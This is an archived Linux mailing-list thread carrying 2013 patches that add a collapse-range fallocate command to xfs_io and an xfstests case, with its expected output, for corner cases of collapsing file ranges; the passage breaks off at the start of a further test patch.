DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Add support FALLOC_FL_COLLAPSE_RANGE for fallocate. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- io/prealloc.c | 39 ++++++++++++++++++++++++++++++++++++++- man/man8/xfs_io.8 | 6 ++++++ 2 files changed, 44 insertions(+), 1 deletion(-) diff --git a/io/prealloc.c b/io/prealloc.c index 8380646..e7ff940 100644 --- a/io/prealloc.c +++ b/io/prealloc.c @@ -29,6 +29,10 @@ #define FALLOC_FL_PUNCH_HOLE 0x02 #endif +#ifndef FALLOC_FL_COLLAPSE_RANGE +#define FALLOC_FL_COLLAPSE_RANGE 0x08 +#endif + static cmdinfo_t allocsp_cmd; static cmdinfo_t freesp_cmd; static cmdinfo_t resvsp_cmd; @@ -37,6 +41,7 @@ static cmdinfo_t zero_cmd; #if defined(HAVE_FALLOCATE) static cmdinfo_t falloc_cmd; static cmdinfo_t fpunch_cmd; +static cmdinfo_t fcollapse_cmd; #endif static int @@ -159,8 +164,11 @@ fallocate_f( int mode = 0; int c; - while ((c = getopt(argc, argv, "kp")) != EOF) { + while ((c = getopt(argc, argv, "ckp")) != EOF) { switch (c) { + case 'c': + mode = FALLOC_FL_COLLAPSE_RANGE; + break; case 'k': mode = FALLOC_FL_KEEP_SIZE; break; @@ -203,6 +211,25 @@ fpunch_f( } return 0; } + +static int +fcollapse_f( + int argc, + char **argv) +{ + xfs_flock64_t segment; + int mode = FALLOC_FL_COLLAPSE_RANGE; + + if(!offset_length(argv[1], argv[2], &segment)) + return 0; + + if (fallocate(file->fd, mode, + segment.l_start, segment.l_len)) { + perror("fallocate"); + return 0; + } + return 0; +} #endif /* HAVE_FALLOCATE */ void @@ -277,5 +304,15 @@ prealloc_init(void) fpunch_cmd.oneline = _("de-allocates space assocated with part of a file via fallocate"); add_command(&fpunch_cmd); + + fcollapse_cmd.name = "fcollapse"; + fcollapse_cmd.cfunc = fcollapse_f; + fcollapse_cmd.argmin = 2; + fcollapse_cmd.argmax = 2; + fcollapse_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; + fcollapse_cmd.args = _("off len"); + fcollapse_cmd.oneline = + _("de-allocates space and nullify the hole by shifting extents into it"); + add_command(&fcollapse_cmd); #endif /* HAVE_FALLOCATE */ } diff --git a/man/man8/xfs_io.8 b/man/man8/xfs_io.8 index 767b50e..9543b20 100644 --- a/man/man8/xfs_io.8 +++ b/man/man8/xfs_io.8 @@ -380,6 +380,12 @@ will set the FALLOC_FL_KEEP_SIZE flag as described in .PD .RE .TP +.BI fcollapse " offset length" +Call fallocate with FALLOC_FL_COLLAPSE_RANGE flag as described in the +.BR fallocate (2) +manual page to de-allocates blocks and eliminates the hole created in this process +by shifting data blocks into the hole. +.TP .BI fpunch " offset length" Punches (de-allocates) blocks in the file by calling fallocate with the FALLOC_FL_PUNCH_HOLE flag as described in the -- 1.7.9.5 From linkinjeon@gmail.com Mon Sep 2 09:30:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 390367F55 for ; Mon, 2 Sep 2013 09:30:03 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 19A518F8052 for ; Mon, 2 Sep 2013 07:30:03 -0700 (PDT) X-ASG-Debug-ID: 1378132200-04cbb02c3cce7930001-NocioJ Received: from mail-pa0-f48.google.com (mail-pa0-f48.google.com [209.85.220.48]) by cuda.sgi.com with ESMTP id LqCyUX1LnLnQ1cMt (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 02 Sep 2013 07:30:01 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.48 Received: by mail-pa0-f48.google.com with SMTP id kp13so5256010pab.35 for ; Mon, 02 Sep 2013 07:30:00 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=LRfHCb52ffshapOU8MQoNc951Lhsf6NWv0GJtOMzO+8=; b=fSrxKBuZ6D0V7AuPoCR95dyKhQEBU+7HE8KHLso0zGc3Yjxq1J6haInkm8YAdVCOAe OV79yBoLQ13A+DpsN9g5ihbKbQ12H6ntS1DyIAJA8ypYRc2tmMvhLcfzeuX+foeauTh+ S9cvK4G7e4mtnQUAzWcGrqwmY7yAr13fAAzFM35F5oxOCeZhnuYRzNJlS+OOkJFi4x+0 SkJjvfDha5ENqrAmQ8ef1OFF1wxXN4Smtwmj/BfsnSBQQHt6zVBuIHFhUIEa50McilC9 MTDfh+v8GIgDpvE2lMwJbqKsizOWRb1bvLMyy7SN6cZcT30dItDkm0UhqkLucFRCx6bv 4vPg== X-Barracuda-BBL-IP: nil X-Received: by 10.66.250.200 with SMTP id ze8mr26947460pac.100.1378132200626; Mon, 02 Sep 2013 07:30:00 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.169]) by mx.google.com with ESMTPSA id tr10sm16257464pbc.22.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 02 Sep 2013 07:30:00 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.169 To: viro@zeniv.linux.org.uk, mtk.manpages@gmail.com, tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon , Namjae Jeon Subject: [PATCH v2 5/7] xfstest: Add test case to check various corner cases for collapsing range Date: Mon, 2 Sep 2013 23:29:52 +0900 X-ASG-Orig-Subj: [PATCH v2 5/7] xfstest: Add test case to check various corner cases for collapsing range Message-Id: <1378132192-2787-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pa0-f48.google.com[209.85.220.48] X-Barracuda-Start-Time: 1378132201 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140129 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This patch checks various corner cases for collapsing a range. This patch is based on generic/255 test case which checks various corner cases for punch hole. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- common/collapse | 264 ++++++++++++++++++++++++++++++++++++++++++++++++++ common/rc | 14 +++ tests/shared/316 | 70 +++++++++++++ tests/shared/316.out | 221 ++++++++++++++++++++++++++++++++++++++++++ tests/shared/group | 2 +- 5 files changed, 570 insertions(+), 1 deletion(-) create mode 100644 common/collapse create mode 100644 tests/shared/316 create mode 100644 tests/shared/316.out diff --git a/common/collapse b/common/collapse new file mode 100644 index 0000000..dd3be5e --- /dev/null +++ b/common/collapse @@ -0,0 +1,264 @@ +##/bin/bash +# +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +# Test procedure for checking collapse range feature + +# Test different corner cases for collapsing a range: +# +# 1. into a hole +# 2. into allocated space +# 3. into unwritten space +# 4. hole -> data +# 5. hole -> unwritten +# 6. data -> hole +# 7. data -> unwritten +# 8. unwritten -> hole +# 9. unwritten -> data +# 10. hole -> data -> hole +# 11. data -> hole -> data +# 12. unwritten -> data -> unwritten +# 13. data -> unwritten -> data +# 14. data -> hole @ EOF +# 15. data -> hole @ 0 +# 16. data -> cache cold ->hole +# +# Test file is removed, created and sync'd between tests. +# +# Use -k flag to keep the file between tests. This will +# test the handling of pre-existing holes. +# +# Use the -d flag to not sync the file between tests. +# This will test the handling of delayed extents +# +_test_generic_collapse() +{ + + remove_testfile=1 + sync_cmd="-c fsync" + OPTIND=1 + while getopts 'dk' OPTION + do + case $OPTION in + k) remove_testfile= + ;; + d) sync_cmd= + ;; + ?) echo Invalid flag + exit 1 + ;; + esac + done + shift $(($OPTIND - 1)) + + alloc_cmd=$1 + collapse_cmd=$2 + punch_cmd=$3 + map_cmd=$4 + filter_cmd=$5 + testfile=$6 + + echo " 1. into a hole" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "$collapse_cmd 16k 32k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 2. into allocated space" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "pwrite 0 80k" $sync_cmd \ + -c "$collapse_cmd 16k 32k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 3. into unwritten space" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "$alloc_cmd 0 80k" \ + -c "$collapse_cmd 16k 32k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 4. hole -> data" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "pwrite 32k 32k" $sync_cmd \ + -c "$collapse_cmd 16k 32k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 5. hole -> unwritten" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "$alloc_cmd 32k 32k" \ + -c "$collapse_cmd 16k 32k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 6. data -> hole" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "pwrite 0 32k" $sync_cmd \ + -c "$collapse_cmd 16k 32k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 7. data -> unwritten" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "pwrite 0 32k" $sync_cmd \ + -c "$alloc_cmd 32k 32k" \ + -c "$collapse_cmd 16k 32k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 8. unwritten -> hole" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "$alloc_cmd 0 32k" \ + -c "$collapse_cmd 16k 32k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 9. unwritten -> data" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "$alloc_cmd 0 32k" \ + -c "pwrite 32k 32k" $sync_cmd \ + -c "$collapse_cmd 16k 32k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 10. hole -> data -> hole" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "pwrite 32k 16k" $sync_cmd \ + -c "$collapse_cmd 16k 48k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 11. data -> hole -> data" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "$alloc_cmd 0 80k" \ + -c "pwrite 0 32k" \ + -c "pwrite 48k 32k" $sync_cmd \ + -c "$punch_cmd 32k 16k" \ + -c "$collapse_cmd 8k 48k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 12. unwritten -> data -> unwritten" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "$alloc_cmd 0 80k" \ + -c "pwrite 32k 16k" $sync_cmd \ + -c "$collapse_cmd 16k 48k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 13. data -> unwritten -> data" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "$alloc_cmd 0 80k" \ + -c "pwrite 0k 32k" $sync_cmd \ + -c "pwrite 48k 32k" -c "fsync" \ + -c "$collapse_cmd 16k 48k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 14. data -> hole @ EOF" + rm -f $testfile + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "pwrite 0 80k" $sync_cmd \ + -c "$collapse_cmd 48k 32k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 15. data -> hole @ 0" + if [ "$remove_testfile" ]; then + rm -f $testfile + fi + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "pwrite 0 80k" $sync_cmd \ + -c "$collapse_cmd 0k 32k" \ + -c "$map_cmd -v" $testfile | $filter_cmd + [ $? -ne 0 ] && die_now + _md5_checksum $testfile + + echo " 16. data -> cache cold ->hole" + if [ "$remove_testfile" ]; then + rm -f $testfile + rm -f $testfile.2 + else + cp $testfile $testfile.2 + fi + $XFS_IO_PROG -f -c "truncate 48k" \ + -c "pwrite 0k 48k" -c "fsync" $testfile.2 \ + > /dev/null + $XFS_IO_PROG -f -c "truncate 80k" \ + -c "pwrite 0 80k" $sync_cmd \ + -c "$collapse_cmd 0k 32k" \ + -c "fadvise -d" \ + -c "$map_cmd -v" $testfile | $filter_cmd + diff $testfile $testfile.2 + [ $? -ne 0 ] && die_now + rm -f $testfile.2 + _md5_checksum $testfile + +} diff --git a/common/rc b/common/rc index 77e96c4..1779eed 100644 --- a/common/rc +++ b/common/rc @@ -1248,6 +1248,20 @@ _require_xfs_io_falloc_punch() _notrun "xfs_io fallocate punch command failed (no fs support?)" } +# check that xfs_io, kernel and filesystem all support fallocate with collapse +# range +_require_xfs_io_falloc_collapse() +{ + testfile=$TEST_DIR/$$.falloc + testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ + -c "fcollapse 4k 8k" $testfile 2>&1` + rm -f $testfile 2>&1 > /dev/null + echo $testio | grep -q "not found" && \ + _notrun "xfs_io fallocate collapse range support is missing" + echo $testio | grep -q "Operation not supported" && \ + _notrun "xfs_io fallocate collapse range failed (no fs support?)" +} + # check that xfs_io, kernel and filesystem support fiemap _require_xfs_io_fiemap() { diff --git a/tests/shared/316 b/tests/shared/316 new file mode 100644 index 0000000..66a8489 --- /dev/null +++ b/tests/shared/316 @@ -0,0 +1,70 @@ +#! /bin/bash +# FS QA Test No. 316 +# +# Test fallocate collapse range +# +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch +. ./common/collapse + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/316.$$ + +# Standard collapse range tests +_test_generic_collapse falloc fcollapse fpunch fiemap _filter_hole_fiemap $testfile + +# Delayed allocation collapse range tests +_test_generic_collapse -d falloc fcollapse fpunch fiemap _filter_hole_fiemap $testfile + +# Multi collapse tests +_test_generic_collapse -k falloc fcollapse fpunch fiemap _filter_hole_fiemap $testfile + +# Delayed allocation multi collapse range tests +_test_generic_collapse -d -k falloc fcollapse fpunch fiemap _filter_hole_fiemap $testfile + +status=0 ; exit diff --git a/tests/shared/316.out b/tests/shared/316.out new file mode 100644 index 0000000..09ebf0d --- /dev/null +++ b/tests/shared/316.out @@ -0,0 +1,221 @@ +QA output created by 316 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f4f35d60b3cc18aaa6d8d92f0cd3708a + 4. hole -> data +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 5. hole -> unwritten +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 10. hole -> data -> hole +bb7df04e1b0a2570657527a7e108ae23 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +bb7df04e1b0a2570657527a7e108ae23 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ EOF +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 15. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 16. data -> cache cold ->hole +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f4f35d60b3cc18aaa6d8d92f0cd3708a + 4. hole -> data +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 5. hole -> unwritten +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 10. hole -> data -> hole +bb7df04e1b0a2570657527a7e108ae23 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +bb7df04e1b0a2570657527a7e108ae23 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ EOF +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 15. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 16. data -> cache cold ->hole +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 1. into a hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f07217d5ac7ffa15dd8910c4aa912674 + 4. hole -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 5. hole -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 10. hole -> data -> hole +0: [0..31]: extent +1: [32..63]: hole +76cc863b386460b228a493933813a6a0 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +76cc863b386460b228a493933813a6a0 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ EOF +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 15. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 16. data -> cache cold ->hole +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 1. into a hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f07217d5ac7ffa15dd8910c4aa912674 + 4. hole -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 5. hole -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 10. hole -> data -> hole +0: [0..31]: extent +1: [32..63]: hole +76cc863b386460b228a493933813a6a0 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +76cc863b386460b228a493933813a6a0 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ EOF +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 15. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 16. data -> cache cold ->hole +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/group b/tests/shared/group index 0ad640b..3a69294 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -11,4 +11,4 @@ 289 auto quick 298 auto trim 305 aio dangerous enospc rw stress - +316 auto quick collapse -- 1.7.9.5 From linkinjeon@gmail.com Mon Sep 2 09:30:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 59CD87F60 for ; Mon, 2 Sep 2013 09:30:16 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D05BAAC004 for ; Mon, 2 Sep 2013 07:30:15 -0700 (PDT) X-ASG-Debug-ID: 1378132214-04cb6c2e9dcf1750001-NocioJ Received: from mail-pa0-f43.google.com (mail-pa0-f43.google.com [209.85.220.43]) by cuda.sgi.com with ESMTP id 23E4u249EuKneLMa (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 02 Sep 2013 07:30:14 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.43 Received: by mail-pa0-f43.google.com with SMTP id hz10so5262861pad.2 for ; Mon, 02 Sep 2013 07:30:14 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=wDJRna9+Dxikt3Ds2iG925JIMZRoCXoIzrLGKzrlFIk=; b=Tf34g0NMUp57ZQSwodi/jLBRT5DwC/cK9/7N3JwMpLo+4A5BE67DIo6LMshGL74cUX YlBHViLC2Bz2ZOrKkjWCZ8mGfgkn1vDN9xB9MlWHg5HU/HrmwekgbyUy0t963HKCcqiT tbl3f1jW0RLlAWuYToZt9xH0OaV4fzXd9JV8hUQgjJ/p3TwJSIZGOXV7lHibdrbv+/qW FT+phHuen6R0+uCGPH1rUQooSHASNkm4q3WNrIRB1iopmmhcJn2twBoOo0c8a56xWXMu IhqLqWeLxi4bs6moljj8iVCYWoZt3nyk38flS3L4oP/byTj86By0f+Pb2Nseknie+zNU +4ig== X-Barracuda-BBL-IP: nil X-Received: by 10.66.171.77 with SMTP id as13mr2955809pac.170.1378132213956; Mon, 02 Sep 2013 07:30:13 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.169]) by mx.google.com with ESMTPSA id xn12sm17516152pac.12.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 02 Sep 2013 07:30:13 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.169 To: viro@zeniv.linux.org.uk, mtk.manpages@gmail.com, tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon , Namjae Jeon Subject: [PATCH v2 6/7] xfstest: Add test case to test multiple collapse range call Date: Mon, 2 Sep 2013 23:30:06 +0900 X-ASG-Orig-Subj: [PATCH v2 6/7] xfstest: Add test case to test multiple collapse range call Message-Id: <1378132206-2821-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pa0-f43.google.com[209.85.220.43] X-Barracuda-Start-Time: 1378132214 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140129 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon We execute collapse range multiple times on same file. Each collapse range call collapses a single alternate block. After the test execution, file will be left with 80 blocks and as much number of extents. We also check for file system consistency after the completion. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- tests/shared/317 | 96 